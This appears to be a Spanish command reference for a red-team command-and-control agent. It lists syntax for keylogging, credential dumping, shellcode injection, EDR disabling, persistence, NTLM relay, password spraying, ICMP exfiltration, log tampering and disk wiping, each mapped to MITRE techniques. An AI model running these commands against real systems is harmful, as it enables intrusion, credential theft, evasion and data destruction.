kerb-delegation | `kerb-delegation -action <all\|unconstrained\|constrained\|rbcd\|monitor> -server <DC> -username <user@domain> -password <pass> [-duration <s>] [-interval <s>]` | Enumerar relaciones de delegación Kerberos — no restringida, restringida (con transición de protocolo), RBCD. **monitor** action (Windows/SYSTEM only) polls LSA for incoming TGTs and exports as kirbi blobs. Multiplataforma excepto monitor (T1550.003, T1558).
keylog | `keylog -action <start\|stop\|dump\|status\|clear>` | Registrador de teclas de bajo nivel. Windows: SetWindowsHookEx. Linux: /dev/input evdev. macOS: IOKit HID. Detecta eventos de pegado Ctrl+V/Cmd+V y captura contenido del portapapeles. Seguimiento del contexto de la ventana en todas las plataformas (T1056.001).
lateral-check | `lateral-check -hosts <IPs/CIDRs> [-timeout <seconds>]` | Probar opciones de movimiento lateral contra objetivos — verifica conectividad SMB, WinRM, RDP, RPC, SSH y sugiere métodos aplicables. Multiplataforma (T1046, T1021).
last | `last [-action logins\|failed\|reboot] [-count 25] [-user <username>]` | Mostrar historial de inicio de sesión, intentos de inicio de sesión fallidos y eventos de apagado/reinicio del sistema. Linux: analiza wtmp/btmp. Windows: registros de eventos de seguridad/sistema. macOS: `last` nativo + registro unificado. (T1087.001, T1110, T1082).
ldap-query | `ldap-query -action <users\|computers\|groups\|domain-admins\|spns\|asrep\|admins\|disabled\|gpo\|ou\|password-never-expires\|trusts\|unconstrained\|constrained\|dacl\|gmsa\|bloodhound\|query> -server <DC>` | Consultar Active Directory vía LDAP. Consultas predefinidas para usuarios, equipos, grupos, administradores de dominio, todos los administradores (adminCount), SPNs, AS-REP roastable, cuentas deshabilitadas, GPOs, OUs, contraseña nunca expira, confianzas de dominio, delegación no restringida/restringida, análisis DACL, extracción de contraseñas gMSA, recopilación BloodHound CE v6 (usuarios/equipos/grupos/OUs/GPOs/confianzas para análisis de grafos), o filtros LDAP personalizados. Multiplataforma (T1087.002, T1482, T1555, T1003, T1615).
ldap-write | `ldap-write -action <add-member\|remove-member\|set-attr\|add-attr\|remove-attr\|set-spn\|disable\|enable\|set-password\|shadow-cred\|clear-shadow-cred\|create-machine\|rbcd\|delete\|gpo-task\|gpo-script\|template-esc1\|template-esc4> -server <DC> -target <obj>` | Modificar objetos AD vía LDAP. Membresía de grupo, atributos, SPNs, habilitar/deshabilitar cuenta, restablecimiento de contraseña, credenciales sombra, creación de cuenta de máquina, delegación RBCD, eliminación de objetos. Abuso de GPO: inyectar tareas programadas (gpo-task) o scripts de inicio (gpo-script). ADCS: modificar plantillas de certificados para explotación ESC1/ESC4. Multiplataforma (T1098, T1556.006, T1484.001, T1649).
kill | `kill -pid <PID>` | Terminar un proceso por PID. Multiplataforma (Windows/Linux/macOS).
laps | `laps -server <DC> -username <user@domain> -password <pass> [-filter <computer>]` | Leer contraseñas LAPS de AD vía LDAP. Soporta LAPS v1 (ms-Mcs-AdmPwd) y Windows LAPS v2 (ms-LAPS-Password). Multiplataforma (T1552.006).
lsa-secrets | `lsa-secrets -action <dump\|cached>` | **(Solo Windows)** Extraer secretos LSA (contraseñas de servicio, claves DPAPI, cuenta de máquina) y credenciales de dominio cacheadas (formato hashcat DCC2/MSCacheV2). Requiere SYSTEM (T1003.004, T1003.005).
launchagent | `launchagent -action <install\|remove\|list> -label <com.example.name> [-path <exe>] [-daemon true]` | **(Solo macOS)** Instalar, eliminar o listar persistencia LaunchAgent/LaunchDaemon. Crea plist con RunAtLoad+KeepAlive.
link | `link -host <ip> -port <port> [-connection_type tcp\|namedpipe] [-pipe_name <name>]` | Vincular a un agente P2P vía TCP o named pipe para pivot interno. El modo named pipe usa el puerto SMB 445 para tráfico Windows más sigiloso. TCP multiplataforma, named pipe solo Windows (T1572).
ln | `ln -target <existing> -link <new> [-symbolic true] [-force true]` | Crear enlaces simbólicos o duros. Los enlaces simbólicos pueden apuntar a rutas inexistentes. El modo forzado reemplaza el enlace existente. Multiplataforma (T1036).
linux-logs | `linux-logs -action <list\|read\|logins\|clear\|truncate\|shred> [-file <path>] [-search <filter>] [-lines <n>]` | **(Solo Linux)** Listar, leer, limpiar o manipular archivos de registro de Linux y registros de inicio de sesión binarios (wtmp/btmp/utmp). Soporta eliminación selectiva de líneas y destrucción segura (T1070.002).
logonsessions | `logonsessions [-action list\|users] [-filter <name>]` | **(Windows, Linux, macOS)** Enumerar sesiones de inicio de sesión activas — usuarios, IDs de sesión, estaciones, estado de conexión. Filtrar por nombre de usuario. Windows: API WTS. Linux: análisis utmp. macOS: análisis utmpx.
lolbin | `lolbin -action <technique> -path <payload/code/URL> [-export <func>] [-args <extra>]` | **(Windows, Linux, macOS)** Ejecución proxy LOLBin/GTFOBin. Windows: rundll32, msiexec, regsvcs, regasm, mshta, certutil, regsvr32, installutil, vbs. Multiplataforma: python, lua, perl, ruby, node, awk. Linux: curl, wget, gcc. macOS: osascript, swift, open, curl. T1218/T1059.
ls | `ls [path]` | Listar archivos y carpetas con propietario/grupo y marcas de tiempo. Integración con navegador de archivos. Por defecto usa el directorio de trabajo actual.
make-token | `make-token -username <user> -domain <domain> -password <pass> [-action impersonate\|spawn\|auto-verify -command <cmd>]` | **(Solo Windows)** Crear un token a partir de credenciales: suplantarlo, generar un proceso o **auto-verify** (suplantar luego whoami + getprivs en cadena) (T1134.002).
masquerade | `masquerade -source <file> -technique <type> [-disguise <value>] [-in_place]` | Enmascaramiento y ocultación de archivos — disfrazar archivos (doble extensión, RtLO, espacio, coincidencia de proceso) u ocultar de la enumeración (ocultar/mostrar). Windows: atributos +H/+S. Linux: prefijo de punto. macOS: UF_HIDDEN + prefijo de punto (T1036, T1564.001).
mkdir | `mkdir <directory>` | Crear un nuevo directorio (crea directorios padre si es necesario).
module-stomp | `module-stomp -pid <PID> [-dll_name <DLL>]` | **(Solo Windows)** Inyectar shellcode pisando la sección .text de una DLL legítima. El shellcode se ejecuta desde el espacio de direcciones de la DLL firmada, evitando la detección de memoria privada (T1055.001).
modules | `modules [-pid <PID>] [-filter <name>]` | Listar módulos/DLLs/bibliotecas cargados en un proceso con filtrado opcional por nombre. Multiplataforma (T1057).
mem-scan | `mem-scan -pid <PID> -pattern <string> [-hex] [-max_results <n>] [-context_bytes <n>]` | Buscar patrones de bytes en la memoria del proceso con salida de volcado hexadecimal. Windows: VirtualQueryEx/ReadProcessMemory. Linux: /proc/pid/maps+mem. macOS: mach_vm_region/mach_vm_read (solo auto-escaneo). Soporta patrones de string y hex. Multiplataforma (T1005, T1057).
mount | `mount [-filter <substring>] [-fstype <type>]` | Listar sistemas de archivos montados con dispositivo, punto de montaje, tipo y opciones. Soporta filtrado por nombre o tipo de sistema de archivos. Multiplataforma (T1082).
mv | `mv <source> <destination>` | Mover o renombrar un archivo de origen a destino.
named-pipes | `named-pipes [-filter <pattern>]` | **(Windows, Linux, macOS)** Listar named pipes (Windows), sockets de dominio Unix y FIFOs (Linux/macOS) para descubrimiento IPC. Soporta filtrado por subcadena (T1083).
net-enum | `net-enum -action <users\|groups\|groupmembers\|admins\|sessions\|shares\|domainusers\|domaingroups\|domaininfo\|loggedon\|mapped> [-target <host>] [-group <name>]` | **(Windows, Linux, macOS)** Enumeración de red multiplataforma. Usuarios, grupos, miembros de grupo, administradores, sesiones, recursos compartidos. Windows: Win32 NetAPI (consultas de dominio, unidades asignadas). Linux: /etc/passwd + /etc/group + utmp + NFS/Samba. macOS: dscl + who + sharing. (T1033, T1049, T1087, T1135).
net-group | `net-group -action <list\|members\|user\|privileged> -server <DC> [-group <name>] [-user <sAMAccountName>] -username <user@domain> -password <pass>` | Enumerar membresías de grupos de AD vía LDAP. Resolución recursiva de miembros, búsqueda de grupos de usuario, enumeración de grupos privilegiados. Multiplataforma (T1069.002).
net-user | `net-user -action <add\|delete\|info\|password\|group-add\|group-remove\|disable\|enable\|lockout> -username <name> [-password <pass>] [-group <group>]` | Gestionar cuentas de usuario locales y membresía de grupos. Windows: API netapi32. Linux: useradd/userdel/usermod/chpasswd. macOS: dscl/dseditgroup. Deshabilitar/habilitar/bloquear para simulación de ransomware T1531. Multiplataforma (T1136.001, T1098, T1531).
net-stat | `net-stat [-state <LISTEN\|ESTABLISHED\|...>] [-proto <tcp\|udp>] [-port <number>] [-pid <number>]` | Listar conexiones de red activas y puertos en escucha con protocolo, estado, PID y nombre de proceso. Soporta filtrado por estado, protocolo, puerto e ID de proceso. Multiplataforma.
ntdll-unhook | `ntdll-unhook [-action unhook\|check] [-dll ntdll.dll\|kernel32.dll\|kernelbase.dll\|advapi32.dll\|user32.dll\|all] [-source disk\|knowndlls]` | **(Solo Windows)** Eliminar hooks en línea de EDR de DLLs restaurando la sección .text desde una copia limpia. Soporta 5 DLLs o `all`. `check` informa hooks sin modificar. La fuente `knowndlls` utiliza objetos de sección \\KnownDlls\\ (evita E/S de disco — más amigable con OPSEC) (T1562.001).
syscalls | `syscalls [-action status\|list\|init]` | **(Solo Windows)** Resolvedor de syscalls indirectos. Analiza exportaciones de ntdll para resolver números de syscall Nt* y genera stubs que saltan al gadget syscall;ret de ntdll. Cuando está activo, los comandos de inyección evitan los hooks de API en el espacio de usuario (T1106).
opus-injection | `opus-injection` | **(Solo Windows)** Inyección en procesos basada en callbacks. Variante 1: Cadena de manejador Ctrl-C. Variante 4: PEB KernelCallbackTable. [Detalles](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#opus-injection)
persist | `persist -method <method> -action <install\|remove\|check>` | **(Windows, Linux, macOS)** Instalar o eliminar persistencia. Windows: registro, carpeta de inicio, com-hijack, salvapantallas, ifeo, winlogon, print-processor, accesibilidad, active-setup, time-provider, port-monitor, wmi-event (T1546.003), netsh-helper (T1546.007). Linux: crontab, systemd, shell-profile, ssh-key, xdg-autostart, motd (root, T1546), rc-local (root, T1037.004), apt-hook (root, T1546), udev-rule (root, T1546). macOS: launchagent, periodic (root, T1053.003), folder-action (T1546), login-item (T1547.015), auth-plugin (root, T1547.002), dylib-hijack (T1574.004, scan/install/remove), xpc-service (MachServices + KeepAlive). Todos los métodos soportan install/remove/list.
persist-enum | `persist-enum [-category <all\|platform-specific>]` | **(Windows, Linux, macOS)** Enumeración de solo lectura de mecanismos de persistencia. Windows: registro, inicio, tareas, servicios. Linux: cron, systemd, perfiles de shell, claves SSH, LD_PRELOAD, reglas udev, módulos del kernel, motd, trabajos at, servicios D-Bus, módulos PAM, hooks de paquetes, scripts logrotate, despachador NetworkManager, anacron. macOS: LaunchAgents, elementos de inicio, scripts periódicos, plugins de autenticación, emond, trabajos at (T1547, T1546, T1053, T1543, T1556).
password-managers | `password-managers [-depth <N>]` | Descubrir bases de datos y archivos de configuración de gestores de contraseñas — KeePass (.kdbx), 1Password, Bitwarden, LastPass, Dashlane, KeePassXC. Multiplataforma (T1555).
poolparty-injection | `poolparty-injection` | **(Solo Windows)** Inyectar shellcode usando técnicas PoolParty que abusan de las internas del Thread Pool de Windows. Las 8 variantes compatibles. [Detalles](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#poolparty-injection)
ping | `ping -hosts <IP/CIDR/range> [-port 445]` o `ping -action exfil-icmp -target <IP> -file <path>` | Comprobación de alcance de host TCP (T1018) + exfiltración de datos ICMP vía cargas útiles de solicitud de eco con codificación XOR y jitter (T1048.003, T1095).
pipe-server | `pipe-server -action <check\|impersonate> [-name <pipe>] [-timeout 30]` | **(Solo Windows)** Suplantación de named pipe para escalada de privilegios. Crear servidor de pipe, esperar conexión de cliente privilegiado, suplantar token. Requiere SeImpersonatePrivilege (T1134.001).
printspoofer | `printspoofer [-timeout 15]` | **(Solo Windows)** Escalada de privilegios PrintSpoofer — SeImpersonate a SYSTEM vía Print Spooler. Crea named pipe, desencadena conexión del spooler vía OpenPrinterW, suplanta token SYSTEM. Un paso NETWORK SERVICE → SYSTEM (T1134.001).
pkg-list | `pkg-list [-filter <substring>]` | Listar paquetes y software instalados. Enumerar dpkg/rpm/apk (Linux), Homebrew/Applications (macOS) o claves de registro Uninstall (Windows). Soporta filtrado por nombre. Multiplataforma (T1518).
port-scan | `port-scan -hosts <IPs/CIDRs> [-ports <ports>] [-timeout <s>]` | Escaneo de conexión TCP para descubrimiento de servicios de red. Soporta CIDR, rangos IP y rangos de puertos. Multiplataforma.
powershell | `powershell <command> [--encoded]` | **(Solo Windows)** Ejecutar un comando PowerShell vía powershell.exe con banderas reforzadas para OPSEC (abreviadas, aleatorizadas). Soporta modo de comando codificado para ocultar argumentos del árbol de procesos.
prefetch | `prefetch -action <list\|parse\|delete\|clear> [-name <exe>] [-count <max>]` | **(Solo Windows)** Analizar y gestionar archivos Prefetch de Windows. Listar programas ejecutados, analizar historial de ejecución (hasta 8 marcas de tiempo), eliminar entradas específicas o limpiar todas. Soporta archivos comprimidos MAM (T1070.004).
privesc-check | `privesc-check -action <all\|auto-escalate\|privileges\|services\|registry\|uac\|dll-hijack\|dll-plant\|dll-sideload\|dll-exports\|hijack-execute\|hijack-deploy\|hijack-cleanup\|hijack-trigger\|service-registry\|...>` | Enumeración y explotación de escalada de privilegios. `auto-escalate`: cadena de subtareas automatizada — enumera todos los vectores luego intenta la mejor escalada disponible (bypass de UAC, robo de token o sudo). `hijack-execute`: fábrica automatizada de DLL proxy — lee exportaciones DLL objetivo, el servidor compila DLL proxy con shellcode incrustado (mingw). `hijack-deploy`: despliega DLL proxy (renombra original, coloca proxy). `hijack-trigger`: desencadena el secuestro — reinicia un servicio (`-trigger restart -service_name <svc>`) o genera un proceso (`-trigger spawn -source <exe>`) para cargar la DLL proxy. `hijack-cleanup`: revierte un secuestro desplegado (elimina proxy, restaura original). Windows: privilegios de token, servicios sin comillas, AlwaysInstallElevated, auto-logon, UAC, archivos unattend, escaneo de secuestro DLL (DLLs fantasma, PATH escribible, KnownDLLs), plantación DLL con timestomping, sideloading DLL, enumeración de exportaciones PE (dll-exports con generación de archivo DEF), abuso de permisos de registro de servicios. Linux: SUID/SGID, capacidades, sudo, contenedores, secuestro cron, NFS no_root_squash, unidades systemd, tokens sudo, secuestro PATH, grupo docker, grupos peligrosos, reglas Polkit, hooks modprobe, inyección ld.so.preload, módulos de seguridad (AppArmor/SELinux). macOS: LaunchDaemons, TCC, secuestro dylib, SIP. Multiplataforma (T1548, T1574.001, T1574.002, T1574.009, T1574.011).
psexec | `psexec -host <target> -command <cmd> [-name <svcname>] [-cleanup <true\|false>]` o `psexec -action check -host <target>` | **(Solo Windows)** Ejecutar comandos en hosts remotos vía creación de servicio SCM — movimiento lateral estilo PSExec. `check` valida requisitos previos (SMB 445, acceso SCM, recursos compartidos admin) sin ejecutar. MITRE T1021.002, T1569.002.
proc-info | `proc-info -action <info\|connections\|mounts\|modules> [-pid <PID>]` | **(Solo Linux)** Inspección profunda de /proc: detalles del proceso (cmdline, env, caps, cgroups, namespaces, FDs), conexiones de red con resolución PID, montajes, módulos del kernel. MITRE T1057.
process-mitigation | `process-mitigation [-action query\|set] [-pid <PID>] [-policy <policy>]` | **(Solo Windows)** Consultar o establecer políticas de mitigación de procesos (DEP, ASLR, CIG, ACG, CFG). Establecer CIG para bloquear carga de DLLs no firmadas (defensa contra EDR). MITRE T1480.
process-tree | `process-tree [-pid <PID>] [-filter <name>]` | Mostrar jerarquía de procesos como un árbol con relaciones padre-hijo. Ayuda a identificar objetivos de inyección y herramientas de seguridad. Multiplataforma (T1057).
procdump | `procdump [-action lsass\|dump\|search] [-pid <PID>]` | Volcar memoria de proceso. Windows: MiniDumpWriteDump con auto-descubrimiento de LSASS. Linux: volcado de región /proc/pid/mem. La acción search encuentra procesos que contienen credenciales. Sube a Mythic y limpia del disco. MITRE T1003.001, T1003.007.
proxy-check | `proxy-check [-test_url <URL>]` | Detectar configuraciones de proxy desde variables de entorno, configuración del SO (registro, archivos de configuración) y transporte Go. Prueba de conectividad opcional. Multiplataforma (T1016).
ps | `ps [-filter <name>] [-pid <PID>] [-ppid <PPID>] [-user <name>] [-v]` | Listar procesos en ejecución con integración del navegador de procesos de Mythic. Filtrar por nombre, PID, PPID o nombre de usuario. Multiplataforma.
ptrace-inject | `ptrace-inject -action <check\|inject> [-pid <PID>] [-filename <shellcode>] [-restore <true>] [-timeout <30>]` | **(Solo Linux, amd64/arm64)** Inyección en procesos vía ptrace — PTRACE_ATTACH/POKETEXT/SETREGS con restauración de registros y código. Verificación previa de Yama ptrace_scope con orientación práctica. El modo check informa ptrace_scope, capacidades y candidatos (T1055.008).
pty | `pty [-shell /bin/bash] [-rows 24] [-cols 80]` | **(Linux/macOS)** Iniciar una sesión interactiva de shell PTY vía tareas interactivas de Mythic. Emulación de terminal completa con E/S bidireccional (T1059).
pwd | `pwd` | Mostrar directorio de trabajo actual.
read-memory | `read-memory <dll_name> <function_name> <start_index> <num_bytes>` | **(Solo Windows)** Leer bytes de una dirección de función DLL.
reg | `reg -action <read\|write\|delete\|search\|save\|creds> [-hive HKLM] [-path ...] [...]` | **(Solo Windows)** Operaciones unificadas de registro — leer, escribir, eliminar, buscar y guardar secciones del registro (T1012, T1112, T1003.002).
remote-reg | `remote-reg -action <query\|enum\|set\|delete> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-hive HKLM] [-path ...] [-name <val>]` | Leer/escribir registro en hosts Windows remotos vía WinReg RPC sobre named pipes SMB. Soporta pass-the-hash. Multiplataforma (T1012, T1112, T1021.002).
remote-service | `remote-service -action <list\|query\|create\|start\|stop\|delete\|modify-path\|trigger\|dll-sideload> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-name <svc>] [-binpath <path>]` | Gestionar servicios en hosts Windows remotos vía SVCCTL RPC. Operaciones estándar + movimiento lateral avanzado: modify-path (secuestrar binpath de servicio existente), trigger (crear servicio iniciado por disparador), dll-sideload (secuestro de registro ServiceDll). Pass-the-hash. Multiplataforma (T1569.002, T1543.003, T1574.001).
rev2self | `rev2self` | **(Solo Windows)** Revertir al contexto de seguridad original eliminando cualquier token de suplantación activo.
route | `route [-destination <IP>] [-gateway <IP>] [-interface <name>]` | Mostrar la tabla de enrutamiento del sistema con filtrado opcional. Windows: API GetIpForwardTable, Linux: /proc/net/route + IPv6, macOS: netstat -rn. Multiplataforma (T1016).
rpfwd | `rpfwd start <port> <remote_ip> <remote_port>` / `rpfwd forward <port> <target_ip> <target_port> [bind_addr]` / `rpfwd stop <port>` | Reenvío de puertos: inverso (Mythic enruta al objetivo) o directo (el agente retransmite al objetivo interno). Multiplataforma (T1090).
rm | `rm [-path <path>] [-secure true]` | Eliminar un archivo o directorio. `-secure true` sobrescribe con datos aleatorios (3 pasadas) antes de la eliminación, evitando la recuperación forense (T1070.004).
run | `run <command>` | Ejecutar un comando de shell y devolver la salida.
runas | `runas -command <cmd> -username <user> -password <pass> [-domain <domain>] [-netonly true]` | Ejecutar un comando como un usuario diferente. Windows: CreateProcessWithLogonW (soporta /netonly). Linux/macOS: setuid como root, o sudo -S con contraseña. Multiplataforma (T1134.002).
schtask | `schtask -action <create\|query\|delete\|run\|list\|enable\|disable\|stop> -name <name> [-program <path>] [-trigger <type>] [-filter <substring>]` | Gestionar tareas programadas. Windows: API COM Task Scheduler. Linux: crontab, temporizadores systemd, trabajos at. macOS: LaunchAgents/LaunchDaemons, crontab, at. Multiplataforma (T1053).
screenshot | `screenshot [-action single\|record] [-interval <sec>] [-duration <sec>] [-max_frames <n>]` | Capturar una sola captura de pantalla o grabar capturas continuas a intervalos. Sube como PNG. Modo record: intervalo/duración/max_frames configurables, detenible vía jobkill. Windows: GDI. macOS: screencapture. Linux: detección automática X11/Wayland. Multiplataforma (T1113).
secret-scan | `secret-scan [-path /home/user] [-depth 5] [-max_results 100]` | Buscar archivos en busca de secretos, claves API, claves privadas, cadenas de conexión y patrones sensibles. 42 patrones regex (AWS, GitHub, Slack, Stripe, Vault, DigitalOcean, Shopify, Databricks, New Relic, PagerDuty, Okta, Sentry, Datadog, CircleCI, etc.) con ofuscación de valor. Recorrido de directorios con límite de profundidad, omite directorios ruidosos. Multiplataforma (T1552.001, T1005).
secure-delete | `secure-delete [-action delete\|wipe\|wipe-mbr] -path <file_or_device> [-passes <n>] [-confirm DESTROY]` | Eliminar archivos de forma segura, borrar datos o destruir registros de arranque. `delete`: sobrescritura aleatoria + eliminación. `wipe`: destrucción agresiva con patrón (T1485). `wipe-mbr`: sobrescribir registro de arranque MBR/GPT en dispositivo de disco bruto (T1561). Requiere compuerta de seguridad. Multiplataforma (T1070.004, T1485, T1561).
security-info | `security-info [-action all\|edr\|minifilter-enum\|kernel-drivers]` | Informar postura de seguridad y controles activos, detectar productos EDR/XDR (más de 20 proveedores), enumerar controladores minifilter con clasificación EDR, o listar controladores del kernel cargados con análisis de EDR/callback. SELinux/AppArmor/seccomp/ASLR (Linux), SIP/Gatekeeper/FileVault (macOS), Defender/UAC/Credential Guard/BitLocker (Windows). Multiplataforma (T1082, T1518.001).
sniff | `sniff [-action capture\|poison\|relay\|ldap-relay] [-interface eth0] [-duration 30] [-response_ip <target>] [-protocols llmnr,nbtns,mdns] [-ports listen:target]` | Sniffing de red, envenenamiento y retransmisión NTLM. `capture`: extracción pasiva de credenciales (HTTP, FTP, NTLM, Kerberos, LDAP, SMTP AUTH, Telnet). `poison`: responder activo con captura de hash SMB+HTTP — hashes NTLMv2 en modo hashcat 5600. `relay`: retransmisión NTLM a SMB objetivo. `ldap-relay`: retransmisión NTLM a LDAP objetivo con operaciones post-autenticación (whoami, add-computer, RBCD, dump-laps) (T1040, T1557.001).
share-hunt | `share-hunt -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-depth <n>] [-filter <all\|credentials\|configs\|code>]` | Rastrear recursos compartidos SMB en múltiples hosts en busca de archivos sensibles — credenciales, configuraciones, scripts. Búsqueda recursiva de directorios con soporte pass-the-hash. Multiplataforma (T1135, T1039).
smb | `smb -action <shares\|ls\|cat\|upload\|rm\|mkdir\|mv\|push\|exfil\|taint\|share-perms\|share-spider\|share-search> -host <target> -username <user> [-password <pass>] [-hash <NT hash>] [-share <name>] [-path <path>] [-depth <n>] [-extensions <.docx,.xlsx>] [-patterns <*.kdbx,web.config>] [-max_results <n>]` | Operaciones de archivos SMB2 en recursos compartidos remotos — listar, navegar, leer/escribir/eliminar, push para transferencia lateral de herramientas, exfil para exfiltración de datos, taint para plantar archivos. **share-perms**: probar acceso de lectura/escritura en todos los recursos compartidos. **share-spider**: listado recursivo de directorios con filtros de profundidad/extensión. **share-search**: encontrar archivos sensibles en recursos compartidos usando patrones integrados o personalizados. Autenticación NTLM + pass-the-hash. Multiplataforma (T1021.002, T1039, T1080, T1135, T1550.002, T1570, T1048.003).
service | `service -action <query\|start\|stop\|restart\|create\|delete\|list\|enable\|disable\|edr-enum\|edr-kill> -name <name> [-binpath <path>] [-confirm EDR-KILL]` | **(Windows, Linux, macOS)** Gestionar servicios + selección de EDR/AV. `edr-enum`: detectar servicios de seguridad instalados (más de 60 firmas). `edr-kill`: detener+deshabilitar EDR detectado (requiere compuerta de seguridad). Windows SCM, Linux systemd, macOS launchd (T1543, T1489, T1562.001).
setenv | `setenv -action <set\|unset> -name <NAME> [-value <VALUE>]` | Establecer o eliminar variables de entorno en el proceso del agente. Multiplataforma.
shell-config | `shell-config -action <history\|list\|read\|inject\|remove\|clear> [-file <.bashrc>] [-line <cmd>] [-lines <count>]` | Leer historial de shell, listar/leer/inyectar/eliminar/limpiar archivos de configuración de shell. Linux/macOS: bashrc/zshrc. Windows: perfiles de PowerShell + historial PSReadLine. T1546.004/T1546.013/T1552.003/T1070.003.
sleep | `sleep [seconds] [jitter] [working_start] [working_end] [working_days]` o `sleep -interval 60 -jitter 30 -jitter_profile normal` | Establecer intervalo de callback, jitter, horario laboral y perfil de distribución de jitter (uniforme/normal/exponencial). La distribución normal se agrupa cerca del intervalo; la exponencial imita patrones de ráfaga humana.
socks | `socks <start\|stop\|stats\|bandwidth> [port] [-bandwidth_kbs N]` | Iniciar, detener, ver estadísticas o establecer ancho de banda para proxy SOCKS5. Soporta TCP CONNECT y UDP ASSOCIATE (RFC 1928) para retransmisión de herramientas DNS/UDP a través del proxy. Límite de ancho de banda por conexión opcional en KB/s. Stats muestra conexiones activas, bytes TX/RX, historial reciente.
sort | `sort -path <file> [-reverse true] [-numeric true] [-unique true]` | Ordenar líneas de un archivo. Soporta modos alfabético, numérico, inverso y único. Multiplataforma (T1083).
spawn | `spawn -path <exe> [-ppid <pid>] [-blockdlls true]` | **(Solo Windows)** Generar un proceso o hilo suspendido para inyección. Soporta suplantación de PPID (T1134.004) y bloqueo de DLL no Microsoft.
spray | `spray -action <kerberos\|ldap\|smb> -server <DC> -domain <DOMAIN> -users <user1\nuser2> [-password <pass>] [-hash <NT hash>] [-delay <ms>] [-jitter <0-100>]` | Rociado de contraseñas contra AD vía pre-autenticación Kerberos, bind LDAP o autenticación SMB. SMB soporta pass-the-hash. Consciente de bloqueo con retardo/jitter configurables. Multiplataforma (T1110.003, T1550.002).
ssh | `ssh [-action exec\|push\|check\|tunnel-local\|tunnel-remote\|tunnel-dynamic\|tunnel-list\|tunnel-stop] -host <target> -username <user> [-password <pass>] [-key_path <path>] [-command <cmd>] [-local_port <port>] [-remote_host <host>] [-remote_port <port>]` | Ejecutar comandos, enviar archivos o crear túneles SSH. `check` valida requisitos previos SSH (puerto, auth, shell). tunnel-local (-L), tunnel-remote (-R), tunnel-dynamic (-D SOCKS5). Multiplataforma (T1021.004, T1570, T1572).
ssh-agent | `ssh-agent [-action <list\|enum>] [-socket /path/to/agent.sock]` | **(Solo Linux/macOS)** Enumerar sockets del agente SSH y listar claves cargadas. Descubre SSH_AUTH_SOCK, escanea /tmp/ssh-*, /run/user/*, llavero GNOME. Reporta huellas de clave al almacén de credenciales (T1552.004).
ssh-keys | `ssh-keys -action <list\|add\|remove\|read-private\|enumerate\|generate\|find-reachable\|try-keys\|auto-move> [-key <ssh_key>] [-user <username>] [-targets <range>] [-host <ip>] [-username <user>] [-command <cmd>]` | Gestión de claves SSH y automatización de movimiento lateral. Leer/inyectar authorized_keys, leer claves privadas, generar pares de claves, enumerar configuración SSH. Movimiento lateral: find-reachable (escaneo de subred), try-keys (probar claves), auto-move (cadena escanear→autenticar→ejecutar). Windows: sesiones/registro PuTTY, claves .ppk, WSL, OpenSSH, configuración Git SSH. Multiplataforma (T1552.004, T1552.002, T1098.004, T1021.004, T1046).
stat | `stat -path <file_or_dir>` | Mostrar metadatos de archivo/directorio: tipo, tamaño, permisos, marcas de tiempo. Detalles específicos de la plataforma — inodo/propietario (Linux/macOS), atributos de archivo (Windows). Consciente de enlaces simbólicos vía Lstat. Multiplataforma (T1083).
strings | `strings -path <file> [-min_length <n>] [-pattern <text>] [-offset <bytes>] [-max_size <bytes>]` | Extraer cadenas ASCII imprimibles de archivos. Encontrar texto incrustado, URLs, credenciales en binarios. Filtro de patrón, control de longitud mínima, offset/tamaño máximo. Multiplataforma (T1005).
start-clr | `start-clr [-action execute-assembly -assembly <b64> -arguments <args>]` | **(Solo Windows)** Inicializar CLR v4 o ejecutar ensamblados .NET. La acción `execute-assembly` parchea automáticamente AMSI+ETW y ejecuta el ensamblado en un solo paso (como CS execute-assembly). Modo manual con -amsi_patch/-etw_patch para control fino.
systemd-persist | `systemd-persist -action <install\|remove\|list> -name <unit> [-exec_start <cmd>] [-timer <calendar>] [-system true]` | **(Solo Linux)** Instalar, eliminar o listar persistencia de servicio/temporizador systemd. Ámbito de usuario o sistema. MITRE T1543.002.
steal-token | `steal-token -pid <pid> [-action spawn -command <cmd>]` | **(Solo Windows)** Robar un token de otro proceso: suplantarlo o generar un proceso con él (T1134.002).
token-store | `token-store -action <save\|list\|use\|remove\|history> -name <label>` | **(Solo Windows)** Almacén de tokens con nombre: guardar, listar, restaurar, eliminar y ver historial de transiciones de identidad. Permite cambiar rápidamente entre identidades robadas/creadas sin volver a robarlas (T1134.001).
suspend | `suspend -action <suspend\|resume> -pid <PID>` | Suspender o reanudar un proceso. Pausa táctica de EDR/AV durante operaciones sensibles. Windows: NtSuspendProcess/NtResumeProcess. Linux/macOS: SIGSTOP/SIGCONT. Multiplataforma (T1562.001).
sysinfo | `sysinfo [-action info\|full-profile]` | Información completa del sistema: versión del SO, hardware, memoria, tiempo de actividad, dominio, .NET (Windows), estado SELinux/SIP. `full-profile` ejecuta cadena automatizada de 5 pasos de perfilado del host (sysinfo → ps → security-info → privesc-check → persist-enum). Multiplataforma (T1082).
sysmon-config | `sysmon-config [-action check\|rules\|events]` | **(Solo Windows)** Detectar instalación de Sysmon y extraer configuración — estado del servicio/controlador, algoritmo de hash, banderas de opciones, tamaño de datos de reglas, canales de eventos. Detecta instalaciones renombradas vía altitud minifilter (T1518.001, T1562.001).
tac | `tac -path <file>` | Imprimir líneas de archivo en orden inverso. Útil para ver registros del más reciente al más antiguo. Multiplataforma (T1083).
tail | `tail -path <file> [-lines <N>] [-head true] [-bytes <N>]` | Leer las primeras o últimas N líneas/bytes de un archivo sin transferir todo el contenido. Búfer circular para tail eficiente, búsqueda inversa para archivos grandes. Multiplataforma (T1005, T1083).
tcc-check | `tcc-check [-service <filter>]` | **(Solo macOS)** Enumerar permisos TCC (Transparency, Consent, and Control). Descubrir qué aplicaciones tienen acceso a cámara, micrófono, grabación de pantalla, acceso total al disco. Agrupa por servicio con resumen permitido (T1082).
touch | `touch -path <file> [-mkdir true]` | Crear un archivo vacío o actualizar marcas de tiempo de archivo existente. Creación opcional de directorio padre. Multiplataforma (T1106).
thread-hijack | `thread-hijack -pid <PID> [-tid <TID>]` | **(Windows, macOS)** Inyectar shellcode vía secuestro de ejecución de hilo — suspender hilo existente, redirigir PC/RIP al shellcode, reanudar. macOS usa APIs Mach (task_for_pid + thread_get/set_state), requiere root (T1055.003).
